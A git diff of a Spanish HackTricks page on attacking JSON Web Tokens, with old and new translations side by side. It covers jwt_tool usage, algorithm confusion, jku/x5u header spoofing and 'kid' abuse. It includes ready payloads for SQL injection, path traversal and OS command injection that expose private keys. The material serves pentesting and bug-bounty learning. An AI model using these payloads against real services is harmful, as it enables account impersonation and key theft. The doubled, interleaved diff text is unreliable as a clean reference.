* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo, y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**Parte de este post fue tomada de:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Parte de esta publicación se basa en el increíble post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Autor de la excelente herramienta para pentesting de JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Victorias Rápidas**
|
||||
|
||||
Ejecuta [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con el modo `All Tests!` y espera a las líneas verdes
|
||||
Ejecuta [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con el modo `¡Todos los Tests!` y espera las líneas verdes
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Si tienes suerte, la herramienta encontrará algún caso en el que la aplicación web está comprobando incorrectamente el JWT:
|
||||
Si tienes suerte, la herramienta encontrará algún caso donde la aplicación web esté verificando incorrectamente el JWT:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
|
||||
Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa solicitud usando jwt_tool:
|
||||
Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa solicitud usando la herramienta jwt\_:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Alterar datos sin modificar nada
|
||||
### Manipular datos sin modificar nada
|
||||
|
||||
Puedes alterar los datos dejando la firma tal cual y verificar si el servidor está comprobando la firma. Intenta cambiar tu nombre de usuario a "admin" por ejemplo.
|
||||
Simplemente puedes manipular los datos dejando la firma tal como está y verificar si el servidor está revisando la firma. Intenta cambiar tu nombre de usuario a "admin", por ejemplo.
|
||||
|
||||
#### **¿Se verifica el token?**
|
||||
|
||||
* Si ocurre un mensaje de error, la firma se está verificando - lee cualquier información de error detallada que pueda revelar algo sensible.
|
||||
* Si la página devuelta es diferente, la firma se está verificando.
|
||||
* Si la página es la misma, entonces la firma no se está verificando - es hora de empezar a alterar las afirmaciones del Payload para ver qué puedes hacer.
|
||||
Para verificar si la firma de un JWT está siendo verificada:
|
||||
|
||||
- Un mensaje de error sugiere una verificación en curso; se deben revisar los detalles sensibles en los errores detallados.
|
||||
- Un cambio en la página devuelta también indica verificación.
|
||||
- La falta de cambio sugiere que no hay verificación; en este caso, es cuando se debe experimentar con la manipulación de las reclamaciones del payload.
|
||||
|
||||
### Origen
|
||||
|
||||
Comprueba dónde se originó el token en el historial de solicitudes de tu proxy. Debería crearse en el servidor, no en el cliente.
|
||||
Es importante determinar si el token fue generado en el servidor o en el cliente examinando el historial de solicitudes del proxy.
|
||||
|
||||
* Si se vio por primera vez proveniente del lado del cliente, entonces la **clave** es accesible al código del lado del cliente - ¡búscala!
|
||||
* Si se vio por primera vez proveniente del servidor, todo está bien.
|
||||
- Los tokens vistos por primera vez desde el lado del cliente sugieren que la clave podría estar expuesta al código del lado del cliente, lo que requiere una investigación adicional.
|
||||
- Los tokens que se originan en el servidor indican un proceso seguro.
|
||||
|
||||
### Duración
|
||||
|
||||
Comprueba si el token dura más de 24h... tal vez nunca expira. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente.
|
||||
Verifica si el token dura más de 24 horas... tal vez nunca expire. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente.
|
||||
|
||||
### Fuerza bruta del secreto HMAC
|
||||
|
||||
[**Ver esta página.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Modificar el algoritmo a Ninguno (CVE-2015-9235)
|
||||
### Modificar el algoritmo a None (CVE-2015-9235)
|
||||
|
||||
Establece el algoritmo utilizado como "Ninguno" y elimina la parte de la firma.
|
||||
Establece el algoritmo utilizado como "None" y elimina la parte de la firma.
|
||||
|
||||
Usa la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y para cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno").
|
||||
Utiliza la extensión Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" en "None").
|
||||
|
||||
### Cambiar el algoritmo RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Cambiar el algoritmo de RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
El algoritmo HS256 utiliza la clave secreta para firmar y verificar cada mensaje.\
|
||||
El algoritmo RS256 utiliza la clave privada para firmar el mensaje y la clave pública para la autenticación.
|
||||
El algoritmo RS256 utiliza la clave privada para firmar el mensaje y utiliza la clave pública para la autenticación.
|
||||
|
||||
Si cambias el algoritmo de RS256 a HS256, el código del back end usa la clave pública como clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.
|
||||
Si cambias el algoritmo de RS256 a HS256, el código del backend utiliza la clave pública como la clave secreta y luego utiliza el algoritmo HS256 para verificar la firma.
|
||||
|
||||
Entonces, usando la clave pública y cambiando RS256 a HS256 podríamos crear una firma válida. Puedes obtener el certificado del servidor web ejecutando esto:
|
||||
Luego, utilizando la clave pública y cambiando de RS256 a HS256 podríamos crear una firma válida. Puedes recuperar el certificado del servidor web ejecutando esto:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### Nueva clave pública en el encabezado
|
||||
### Nueva clave pública dentro del encabezado
|
||||
|
||||
Un atacante incorpora una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114).
|
||||
Un atacante incrusta una nueva clave en el encabezado del token y el servidor utiliza esta nueva clave para verificar la firma (CVE-2018-0114).
|
||||
|
||||
Esto se puede hacer con la extensión "JSON Web Tokens" de Burp.\
|
||||
(Envía la solicitud al Repeater, dentro de la pestaña JSON Web Token selecciona "CVE-2018-0114" y envía la solicitud).
|
||||
(Envía la solicitud a Repeater, dentro de la pestaña JSON Web Token selecciona "CVE-2018-0114" y envía la solicitud).
|
||||
|
||||
### Suplantación de JWKS
|
||||
|
||||
Si el token utiliza una reclamación de encabezado “jku”, entonces verifica la URL proporcionada. Esta debería apuntar a una URL que contenga el archivo JWKS que mantiene la Clave Pública para verificar el token. Altera el token para que el valor de jku apunte a un servicio web que puedas monitorear el tráfico.
|
||||
Las instrucciones detallan un método para evaluar la seguridad de los tokens JWT, especialmente aquellos que emplean una afirmación de encabezado "jku". Esta afirmación debe enlazar a un archivo JWKS (JSON Web Key Set) que contenga la clave pública necesaria para la verificación del token.
|
||||
|
||||
Si obtienes una interacción HTTP ahora sabes que el servidor está intentando cargar claves desde la URL que estás proporcionando. _Usa la bandera -S de jwt\_tool junto con el argumento -u_ [_http://example.com_](http://example.com) _para generar un nuevo par de claves, inyectar tu URL proporcionada, generar un JWKS que contenga la Clave Pública y firmar el token con la Clave Privada_
|
||||
- **Evaluación de Tokens con Encabezado "jku"**:
|
||||
- Verificar la URL de la afirmación "jku" para asegurarse de que conduzca al archivo JWKS apropiado.
|
||||
- Modificar el valor "jku" del token para dirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico.
|
||||
|
||||
### Problemas con "kid"
|
||||
- **Monitoreo de la Interacción HTTP**:
|
||||
- Observar las solicitudes HTTP a la URL especificada indica los intentos del servidor de obtener claves desde el enlace proporcionado.
|
||||
- Al emplear `jwt_tool` para este proceso, es crucial actualizar el archivo `jwtconf.ini` con la ubicación personal de su JWKS para facilitar las pruebas.
|
||||
|
||||
`kid` es una reclamación de encabezado opcional que contiene un identificador de clave, particularmente útil cuando tienes múltiples claves para firmar los tokens y necesitas buscar la correcta para verificar la firma.
|
||||
- **Comando para `jwt_tool`**:
|
||||
- Ejecute el siguiente comando para simular el escenario con `jwt_tool`:
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_AQUÍ -X s
|
||||
```
|
||||
|
||||
#### Problemas con "kid" - revelar clave
|
||||
### Resumen de Problemas con "Kid"
|
||||
|
||||
Si la reclamación "kid" se utiliza en el encabezado, verifica el directorio web para ese archivo o una variación del mismo. Por ejemplo, si `"kid":"key/12345"` entonces busca _/key/12345_ y _/key/12345.pem_ en la raíz web.
|
||||
Una afirmación de encabezado opcional conocida como `kid` se utiliza para identificar una clave específica, lo cual es especialmente vital en entornos donde existen múltiples claves para la verificación de la firma del token. Esta afirmación ayuda a seleccionar la clave apropiada para verificar la firma de un token.
|
||||
|
||||
#### Problemas con "kid" - traversal de ruta
|
||||
#### Revelación de Clave a través de "kid"
|
||||
|
||||
Si la reclamación "kid" se utiliza en el encabezado, verifica si puedes usar un archivo diferente en el sistema de archivos. Elige un archivo cuyo contenido puedas predecir, o intenta `"kid":"/dev/tcp/tuIP/tuPuerto"` para probar la conectividad, o incluso algunos payloads de **SSRF**...\
|
||||
_Usa la bandera -T de jwt\_tool para alterar el JWT y cambiar el valor de la reclamación kid, luego elige mantener la firma original_
|
||||
Cuando la afirmación `kid` está presente en el encabezado, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica `"kid":"key/12345"`, los archivos _/key/12345_ y _/key/12345.pem_ deben buscarse en la raíz web.
|
||||
|
||||
#### Travesía de Ruta con "kid"
|
||||
|
||||
La afirmación `kid` también podría ser explotada para navegar a través del sistema de archivos, lo que potencialmente permitiría la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Falsificación de Solicitudes del Lado del Servidor (SSRF) al alterar el valor `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor `kid` manteniendo la firma original se puede lograr utilizando la bandera `-T` en jwt_tool, como se muestra a continuación:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Utilizando archivos dentro del host con contenido conocido también puedes falsificar un JWT válido. Por ejemplo, en sistemas linux el archivo `/proc/sys/kernel/randomize_va_space` tiene el valor establecido en **2**. Entonces, colocando esa **ruta** dentro del parámetro "**kid**" y usando "**2**" como la **contraseña simétrica** para generar el JWT deberías poder generar un nuevo JWT válido.
|
||||
### Inyección de SQL a través de "kid"
|
||||
|
||||
#### Problemas con "kid" - Inyección SQL
|
||||
Si el contenido de la afirmación `kid` se utiliza para obtener una contraseña de una base de datos, se podría facilitar una inyección de SQL modificando la carga útil de `kid`. Un ejemplo de carga útil que utiliza inyección de SQL para alterar el proceso de firma de JWT incluye:
|
||||
|
||||
En un escenario donde el contenido de "kid" se utiliza para recuperar la contraseña de la base de datos, podrías cambiar el contenido dentro del parámetro "kid" a: `non-existent-index' UNION SELECT 'ATTACKER';-- -` y luego firmar el JWT con la clave secreta `ATTACKER`.
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
#### Problemas con "kid" - Inyección en el Sistema Operativo
|
||||
Esta alteración obliga a utilizar una clave secreta conocida, `ATTACKER`, para la firma de JWT.
|
||||
|
||||
En un escenario donde el parámetro "kid" contiene una ruta al archivo con la clave y esta ruta se utiliza **dentro de un comando ejecutado** podrías obtener RCE y exponer la clave privada con un contenido como el siguiente: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
### Inyección de SO a través de "kid"
|
||||
|
||||
### Ataques varios
|
||||
Un escenario en el que el parámetro `kid` especifica una ruta de archivo utilizada en un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución de Código Remoto (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:
|
||||
|
||||
Las siguientes son debilidades conocidas que deben ser probadas.
|
||||
|
||||
**Ataques de retransmisión entre servicios**
|
||||
|
||||
Algunas aplicaciones web utilizan un servicio JWT 'confiable' para generar y administrar tokens para ellos. En el pasado ha ocurrido que un token generado para uno de los clientes del servicio JWT puede ser aceptado por otro de los clientes del servicio JWT.\
|
||||
Si observas que el JWT se emite o renueva a través de un servicio de terceros, vale la pena identificar si puedes registrarte en otra de las cuentas de ese servicio con tu mismo nombre de usuario/correo electrónico. Si es así, intenta tomar ese token y retransmitirlo en una solicitud a tu objetivo. ¿Es aceptado?
|
||||
|
||||
* Si tu token es aceptado, entonces puedes tener un problema crítico que te permite suplantar la cuenta de cualquier usuario. SIN EMBARGO, ten en cuenta que si te registras en una aplicación de terceros, es posible que necesites buscar permiso para pruebas más amplias en caso de que entre en una zona gris legal.
|
||||
|
||||
**¿Se verifica exp?**
|
||||
|
||||
La reclamación "exp" del Payload se utiliza para verificar la caducidad de un token. Como los JWT a menudo se utilizan en ausencia de información de sesión, deben manejarse con cuidado - en muchos casos, capturar y retransmitir el JWT de otra persona te permitirá hacerse pasar por ese usuario.\
|
||||
Una mitigación contra los ataques de retransmisión de JWT (que es aconsejada por el RFC de JWT) es usar la reclamación "exp" para establecer un tiempo de caducidad para el token. También es importante establecer las comprobaciones relevantes en la aplicación para asegurarse de que este valor se procese y el token sea rechazado cuando haya caducado. Si el token contiene una reclamación "exp" y el tiempo de prueba lo permite - intenta almacenar el token y retransmitirlo después de que haya pasado el tiempo de caducidad. _Usa la bandera -R de jwt\_tool para leer el contenido del token, que incluye el análisis de la marca de tiempo y la comprobación de la caducidad (marca de tiempo en UTC)_
|
||||
|
||||
* Si el token todavía se valida en la aplicación, entonces esto puede ser un riesgo de seguridad ya que el token puede NUNCA expirar.
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u y jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku significa **URL del Conjunto de Claves JWK**.\
|
||||
Si el token utiliza una reclamación de **Encabezado** "jku", **revisa la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Altera el token para que el valor de jku apunte a un servicio web que puedas monitorear el tráfico.
|
||||
jku significa **URL de conjunto de claves JWK**.\
|
||||
Si el token utiliza una afirmación de **Encabezado** "**jku**", **verifique la URL proporcionada**. Esta debería apuntar a una URL que contenga el archivo JWKS que contiene la Clave Pública para verificar el token. Manipule el token para que apunte el valor de jku a un servicio web del cual pueda monitorear el tráfico.
|
||||
|
||||
Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas
|
||||
Primero, necesitas crear un nuevo certificado con nuevas claves privadas y públicas.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Luego puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado.** Para crear un certificado jku válido, puedes descargar el original y cambiar los parámetros necesarios.
|
||||
Entonces puedes usar por ejemplo [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado.** Para crear un certificado jku válido, puedes descargar el original y cambiar los parámetros necesarios.
|
||||
|
||||
Puedes obtener los parámetros "e" y "n" de un certificado público utilizando:
|
||||
Puedes obtener los parámetros "e" y "n" de un certificado público usando:
|
||||
```bash
|
||||
from Crypto.PublicKey import RSA
|
||||
fp = open("publickey.crt", "r")
|
||||
|
@ -164,16 +163,16 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en forma PEM. El primer certificado en el conjunto debe ser el que se utilizó para firmar este JWT. Los certificados subsiguientes firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
|
||||
X.509 URL. Un URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en forma PEM. El primer certificado en el conjunto debe ser el utilizado para firmar este JWT. Los certificados subsiguientes firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
|
||||
|
||||
Intenta **cambiar este encabezado a una URL bajo tu control** y verifica si se recibe alguna solicitud. En ese caso, **podrías manipular el JWT**.
|
||||
Intenta **cambiar este encabezado por una URL bajo tu control** y verifica si se recibe alguna solicitud. En ese caso, **podrías manipular el JWT**.
|
||||
|
||||
Para forjar un nuevo token usando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada:
|
||||
Para falsificar un nuevo token utilizando un certificado controlado por ti, necesitas crear el certificado y extraer las claves pública y privada:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Entonces puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado.**
|
||||
Entonces puedes usar, por ejemplo, [**jwt.io**](https://jwt.io) para crear el nuevo JWT con las **claves públicas y privadas creadas y apuntando el parámetro x5u al certificado .crt creado**.
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
|
@ -185,14 +184,14 @@ Este parámetro puede contener el **certificado en base64**:
|
|||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
Si el atacante **genera un certificado autofirmado** y crea un token falsificado usando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, a saber, n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el servidor.
|
||||
Si el atacante **genera un certificado autofirmado** y crea un token falsificado usando la clave privada correspondiente y reemplaza el valor del parámetro "x5c" con el certificado recién generado y modifica los otros parámetros, es decir, n, e y x5t, entonces esencialmente el token falsificado sería aceptado por el servidor.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### Clave Pública Incorporada (CVE-2018-0114)
|
||||
### Clave Pública Incrustada (CVE-2018-0114)
|
||||
|
||||
Si el JWT tiene incorporada una clave pública como en el siguiente escenario:
|
||||
Si el JWT tiene incrustada una clave pública como en el siguiente escenario:
|
||||
|
||||
![](<../.gitbook/assets/image (438).png>)
|
||||
|
||||
|
@ -206,13 +205,13 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:
|
||||
Es posible generar un nuevo par de claves privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Puedes obtener "n" y "e" usando este script de nodejs:
|
||||
Puedes obtener el "n" y "e" usando este script de nodejs:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -222,36 +221,48 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Finalmente, utilizando la clave pública y privada y los nuevos valores de "n" y "e", puedes usar [jwt.io](https://jwt.io) para falsificar un nuevo JWT válido con cualquier información.
|
||||
### JTI (JWT ID)
|
||||
|
||||
### JTI (Identificador de JWT)
|
||||
La afirmación JTI (JWT ID) proporciona un identificador único para un Token JWT. Se puede utilizar para evitar que el token sea reutilizado.\
|
||||
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La solicitud 0001 y 10001 van a utilizar el mismo ID. Por lo tanto, si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
|
||||
|
||||
La declaración JTI (Identificador de JWT) proporciona un identificador único para un Token JWT. Se puede utilizar para prevenir la repetición del token.\
|
||||
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La solicitud 0001 y 10001 van a usar el mismo ID. Entonces, si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
|
||||
|
||||
### Declaraciones Registradas de JWT
|
||||
### Reclamos registrados JWT
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
### Otros ataques
|
||||
|
||||
**Ataques de Relevo entre Servicios Cruzados**
|
||||
|
||||
Se ha observado que algunas aplicaciones web confían en un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos en los que un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego se debe intentar repetir el token obtenido en una solicitud al objetivo para ver si es aceptado.
|
||||
|
||||
- La aceptación de tu token podría indicar un problema crítico, potencialmente permitiendo la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que podría ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en una zona legal gris.
|
||||
|
||||
**Verificación de Caducidad de Tokens**
|
||||
|
||||
La caducidad del token se verifica utilizando el reclamo de carga útil "exp". Dado que los JWT a menudo se utilizan sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y repetir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de caducidad para el token. Además, la implementación de verificaciones relevantes por parte de la aplicación para garantizar el procesamiento de este valor y el rechazo de tokens caducados es crucial. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se recomienda almacenar el token y repetirlo después de que haya pasado el tiempo de caducidad. El contenido del token, incluido el análisis de la marca de tiempo y la verificación de caducidad (marca de tiempo en UTC), se puede leer utilizando la bandera -R de la herramienta jwt_tool.
|
||||
|
||||
- Puede existir un riesgo de seguridad si la aplicación aún valida el token, ya que podría implicar que el token nunca caduque.
|
||||
|
||||
### Herramientas
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma de recompensas por errores premium creada por hackers, para hackers. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,72 +2,28 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
